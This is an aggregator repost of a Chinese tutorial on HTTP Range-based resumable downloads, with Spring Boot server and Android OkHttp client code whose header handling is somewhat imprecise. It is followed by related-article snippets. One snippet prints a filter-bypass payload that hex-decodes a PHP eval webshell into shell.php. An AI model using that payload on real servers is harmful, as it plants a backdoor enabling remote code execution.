Java 断点下载(下载续传)服务端及客户端(Android)代码

news/2024/4/30 15:27:08/文章来源:https://www.cnblogs.com/stars-one/p/16592706.html

原文: Java 断点下载(下载续传)服务端及客户端(Android)代码 - Stars-One的杂货小窝

最近在研究断点下载(下载续传)的功能,此功能需要服务端和客户端进行对接编写,本篇也是记录一下关于贴上关于实现服务端(Spring Boot)与客户端(Android)是如何实现下载续传功能

断点下载功能(下载续传)解释:

客户端由于突然性网络中断等原因,导致的下载失败,这个时候重新下载,可以继续从上次的地方进行下载,而不是重新下载

原理

首先,我们先说明了断点续传的功能,实际上的原理比较简单

客户端和服务端规定好一个规则,客户端传递一个参数,告知服务端需要数据从何处开始传输,服务端接收到参数进行处理,之后文件读写流从指定位置开始传输给客户端

实际上,上述的参数,在http协议中已经有规范,参数名为Range

而对于服务端来说,只要处理好Range请求头参数,即可实现下载续传的功能

我们来看下Range请求头数据格式如下:

格式如下:

Range:bytes=300-800
//客户端需要文件300-800字节范围的数据(即500B数据)Range:bytes=300-
//客户端需要文件300字节之后的数据

我们根据上面的格式,服务端对Range字段进行处理(String字符串数据处理),在流中返回指定的数据大小即可

那么,如何让流返回指定的数据大小或从指定位置开始传输数据呢?

这里,Java提供了RandomAccessFile类,通过seekTo()方法,可以让我们将流设置从指定位置开始读取或写入数据

这里读取和写入数据,我是采用的Java7之后新增的NIO的Channel进行流的写入(当然,用传统的文件IO流(BIO)也可以)

这里,我所说的客户端是指的Android客户端,由于App开发也是基于Java,所以也是可以使用RandomAccessFile这个类

对于客户端来说,有以下逻辑:

先读取本地已下载文件的大小,然后请求下载数据将文件大小的数据作为请求头的数值传到服务端,之后也是利用RandomAccessFile移动到文件的指定位置开始写入数据即可

扩展-大文件快速下载思路

利用上面的思路,我们还可以可以得到一个大文件快速下载的思路:

如,一份文件,大小为2000B(这个大小可以通过网络请求,从返回数据的请求头content-length获取获取)

客户端拿回到文件的总大小,根据调优算法,将平分成合适的N份,通过线程池,来下载这个N个单文件

在下载完毕之后,将N个文件按照顺序合并成单个文件即可

代码

上面说明了具体的思路,那么下面就是贴出服务端和客户端的代码示例

服务端

服务端是采用的spring boot进行编写

/*** 断点下载文件** @return*/
@GetMapping("download")
public void download( HttpServletRequest request, HttpServletResponse response) throws IOException {//todo 这里文件按照你的需求调整File file = new File("D:\\temp\\测试文件.zip");if (!file.exists()) {response.setStatus(HttpStatus.NOT_FOUND.value());return;}long fromPos = 0;long downloadSize = file.length();if (request.getHeader("Range") != null) {response.setStatus(HttpServletResponse.SC_PARTIAL_CONTENT);String[] ary = request.getHeader("Range").replaceAll("bytes=", "").split("-");fromPos = Long.parseLong(ary[0]);downloadSize = (ary.length < 2 ? downloadSize : Long.parseLong(ary[1])) - fromPos;}//注意下面设置的相关请求头response.setContentType(MediaType.APPLICATION_OCTET_STREAM_VALUE);//相当于设置请求头content-lengthresponse.setContentLengthLong(downloadSize);//使用URLEncoder处理中文名(否则会出现乱码)response.setHeader("Content-Disposition", "attachment;filename=" + URLEncoder.encode(file.getName(), "UTF-8"));response.setHeader("Accept-Ranges", "bytes");response.setHeader("Content-Range", String.format("bytes %s-%s/%s", fromPos, (fromPos + downloadSize), downloadSize));RandomAccessFile randomAccessFile = new RandomAccessFile(file, "rw");randomAccessFile.seek(fromPos);FileChannel inChannel = randomAccessFile.getChannel();WritableByteChannel outChannel = Channels.newChannel(response.getOutputStream());try {while (downloadSize > 0) {long count = inChannel.transferTo(fromPos, downloadSize, outChannel);if (count > 0) {fromPos += count;downloadSize -= count;}}inChannel.close();outChannel.close();randomAccessFile.close();} catch (IOException e) {e.printStackTrace();}
}

客户端

Android客户端,是基于Okhttp的网络框架写的,需要先引用依赖

implementation 'com.squareup.okhttp3:okhttp:3.9.0'

下面给出的是封装好的方法(含进度,下载失败和成功回调):

package com.tyky.update.utils;import com.blankj.utilcode.util.ThreadUtils;import java.io.File;
import java.io.IOException;
import java.io.InputStream;
import java.io.RandomAccessFile;
import java.math.BigDecimal;
import java.nio.ByteBuffer;
import java.nio.channels.Channels;
import java.nio.channels.FileChannel;
import java.nio.channels.ReadableByteChannel;import okhttp3.Call;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.Response;public class FileDownloadUtil {public static void download(String url, File file, OnDownloadListener listener) {//http://10.232.107.44:9060/swan-business/file/download// 利用通道完成文件的复制(非直接缓冲区)ThreadUtils.getIoPool().submit(new Runnable() {@Overridepublic void run() {try {//续传开始的进度long startSize = 0;if (file.exists()) {startSize = file.length();}OkHttpClient okHttpClient = new OkHttpClient.Builder().build();Request request = new Request.Builder().url(url).addHeader("Range", "bytes=" + startSize).get().build();Call call = okHttpClient.newCall(request);Response resp = call.execute();double length = Long.parseLong(resp.header("Content-Length")) * 1.0;InputStream fis = resp.body().byteStream();ReadableByteChannel fisChannel = Channels.newChannel(fis);RandomAccessFile randomAccessFile = new RandomAccessFile(file, "rw");//从上次未完成的位置开始下载randomAccessFile.seek(startSize);FileChannel foschannel = randomAccessFile.getChannel();// 通道没有办法传输数据,必须依赖缓冲区// 分配指定大小的缓冲区ByteBuffer byteBuffer = ByteBuffer.allocate(1024);// 将通道中的数据存入缓冲区中while (fisChannel.read(byteBuffer) != -1) {  // fisChannel 中的数据读到 byteBuffer 缓冲区中byteBuffer.flip();  // 切换成读数据模式// 将缓冲区中的数据写入通道foschannel.write(byteBuffer);final double progress = (foschannel.size() / length);BigDecimal two = new BigDecimal(progress);double result = two.setScale(2,BigDecimal.ROUND_HALF_UP).doubleValue();//计算进度,回调if (listener != null) {listener.onProgress(result);}byteBuffer.clear();  // 清空缓冲区}foschannel.close();fisChannel.close();randomAccessFile.close();if (listener != null) {listener.onSuccess(file);}} catch (IOException e) {if (listener != null) {listener.onError(e);}}}});}public interface OnDownloadListener {void onProgress(double progress);void onError(Exception e);void onSuccess(File outputFile);}
}

使用:

FileDownloadUtil.download(downloadUrl, file, new FileDownloadUtil.OnDownloadListener() {@Overridepublic void onProgress(double progress) {KLog.d("下载进度: " + progress);}@Overridepublic void onError(Exception e) {KLog.e("下载错误: " + e.getMessage());}@Overridepublic void onSuccess(File outputFile) {KLog.d("下载成功");}
});

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_2410.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深入flex 中align-items属性

设置外层盒子flex 显示宽度为自己盒子本身宽度 高度被拉高整个盒子设置为垂直方向的对齐方式 align-items:flex-start 盒子不将被拉伸 显示元素本身的高度align-items:center 盒子不将被拉伸 显示元素本身的高度align-items:stretch 元素拉伸

软件测试入门三(软件bug)

一、什么是软件bug 一个手机,如果他的屏幕碎了、裂了,拐角磕碰瑕疵,这些都是手机的缺陷。 软件就好比这款手机,出现了各种各样的问题,就是软件的bug(缺陷) 软件在测试过程中发现的bug,属于正常情况,因为能够在测试过程中被发现得到修改,如果bug出现在线上,就是线上事…

Activiti可视化流程管理器

1.简介 Activiti是一个业务流程管理(BPM)框架,它是覆盖了业务流程管理,工作流,服务协作等领域的一个开源,灵活的,易扩展的可执行流程语言框架。在Java工作流引擎中可谓是主流,我们的项目也是使用的这个框架进行流程相关的开发。与流程息息相关的就是我们的流程定义BPMN文件…

函数式接口-常见函数式接口-Supplier接口

常见函数式接口Supplier接口: java.util.function.Supplier<T>接口仅包含一个无参的方法:T get()。用来获取一个泛型参数指定类型的对象数据。Supplier<T>接口被称之为生产型接口,指定接口的泛型是什么类型,那么接口中的get方法就会生产什么类型的数据 代码:p…

CF(div2)816 A~C

A Crossmarket思维 矩阵走路径,发现走Z字型怎么走都是一样的耗费,所以直接O(1)算出来就好/** |~~~~~~~|* | |* | |* | |*…

聊聊项目中分表的实际应用-2022新项目

一、业务场景Web项目开发中,分表是时常会使用到的方式。分表的一个目的是为了缓解单表数据量过大,导致操作时 性能下降的问题。可是在实际开发中应该如何进行进行分表呢?那种分表方式更符合实际呢? 二、需求分析网上随便去搜索一下就会发现有很多的分表方式,比如常规的垂直…

数组

概念:一组相同数据的容器相同类型:Java语言中要求存入数组的数据类型必须一直 容器:类似于生活中存放物品的容器,在编程世界中,容器可以用来存放数据 一组:容器中可以存放多个数据声明数组变量int [] ageArray;创建数组对象ageArray = new int[5];静态创建数组int [] ageArray …

11.3 垃圾回收相关概念

目录11.3.1 System.gc()的理解11.3.2 内存溢出与内存泄漏内存溢出(OOM)内存泄漏(Memory Leak)11.3.3 Stop The World11.3.4 垃圾回收的并行与并发并发(Concurrent)并行(Parallel)并发 VS 并行11.3.5 安全点与安全区域安全点(Safepoint)安全区域(Safe Region)引用概…

过滤符号,Linux下写入Webshell

最近的学习生活中,看到了好兄弟写出的这么一句话让我陷入沉思,是否>被过滤,就意味着写入不了Webshell了?于是有了下面的Payload 只要|没被过滤,就有可能写入成功! echo 3c3f70687020406576616c28245f504f53545b277479736563275d293b3f3e|xxd -ps -r|tee shell.php

《GB27951-2011》PDF下载

《GB27951-2011 皮肤消毒剂卫生要求》PDF下载 《GB27951-2011》简介本标准规定了皮肤消毒剂的技术要求、试验方法、使用方法、标签和说明书以及使用注意事项; 本标准适用于完整皮肤和破损皮肤消毒的消毒剂,不适用于手消毒剂。 《GB27951-2011》截图 《GB27951-2011》下载 网…

java中静态成员变量、静态代码块static执行时机

java中静态成员变量与静态块会比构造函数先执行,并且只会执行一次,一个类中有多个static修饰的成员变量或者代码块,会按照代码中先后的顺序执行 请看下面的示例:public class Test {public static void main(String[] args) {Out out1 = new Out();} }public class Out {st…

软件测试入门二(了解软件)

一、什么是软件 软件:通过大代码逻辑开发出来的程序,称为软件。二、软件的种类 web端:电脑、手机的浏览器可以打开的网页,就是web的软件。比如:公司官网、淘宝网等等 客户端:电脑客户端:需要在电脑上进行安装的软件,比如:PC端的英雄联盟、QQ等等,手机端(移动端、app…

解决uni-app小程序导航栏标题不显示问题

用HBuilder开发小程序 创建页面时默认配置了导航文字和下拉刷新 默认导航文字为空 局部配置会覆盖全局配置,所以我们在globalStyle中做的导航全局配置只有背景颜色会生效,文字被页面的局部配置覆盖掉了 可以将页面的配置删掉或加上内容 删掉就是显示全局配置的文字,加上内容…

学习 day1

数据和指令是分开区域存放的,存放指令区域的地方称为「正文段」编译器会把 a = 1 + 2 翻译成 4 条指令,存放到正文段中。如图,这 4 条指令被存放到了 0x200 ~ 0x20c 的区域中: 1、0x200 的内容是 load 指令将 0x100 地址中的数据 1 装入到寄存器 R0; 2、0x204 的内容是 lo…

flex align-items 属性项目在交叉轴上对齐

1,align-items: flex-start;2,align-items: flex-end;2,align-items: center;2,align-items: baseline;2,align-items: stretch;

java对象转json

java对象转json json解析器:常见的解析器:Jsonlib,Gson,fastjson,jackson 使用步骤:1、导入jackson的相关jar包2、创建Jackson核心对象 ObjectMapper3、调用ObjectMapper的相关方法进行转换 转换方法: writeValue(参数1,obj); 参数1: File:将obj对象转换诶J…

Flex 布局 display:flex 与 inline-flex 区别

1.Flex布局 display:flex.bigbox{ width: 500px; height: 400px; background:#ff0000; display: flex; } .smallbox{ width: 100px; height: 100px; background: #f5f5f5; margin: 10px; }<span>flex</span> <div class="bigb…

Java核心知识体系4:AOP原理和切面应用

1 概述 我们所说的Aop(即面向切面编程),即面向接口,也面向方法,在基于IOC的基础上实现。 Aop最大的特点是对指定的方法进行拦截并增强,这种增强的方式不需要业务代码进行调整,无需侵入到业务代码中,使业务与非业务处理逻辑分离。 以Spring举例,通过事务的注解配置,Sp…

npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead.

报错信息: npm warn config global `--global`, `--local` are deprecated. use `--location=global` instead. 报错截图: 如何弃用 npm WARN 配置全局 –global, –local。使用“–location=global”代替“错误发生? 当我尝试使用-g的全局命令时,只是尝试安装使用npm ins…

【面试题】循环打印红绿灯

循环打印红绿灯 点击打开视频讲解更加详细 红灯3秒后变成绿灯 绿灯5秒后变成黄灯 黄灯2秒后变成红灯案例: <template><div id="app"><div>循环打印红绿灯</div><div>红灯3秒后变成绿灯</div><div>绿灯5秒后变成黄灯</…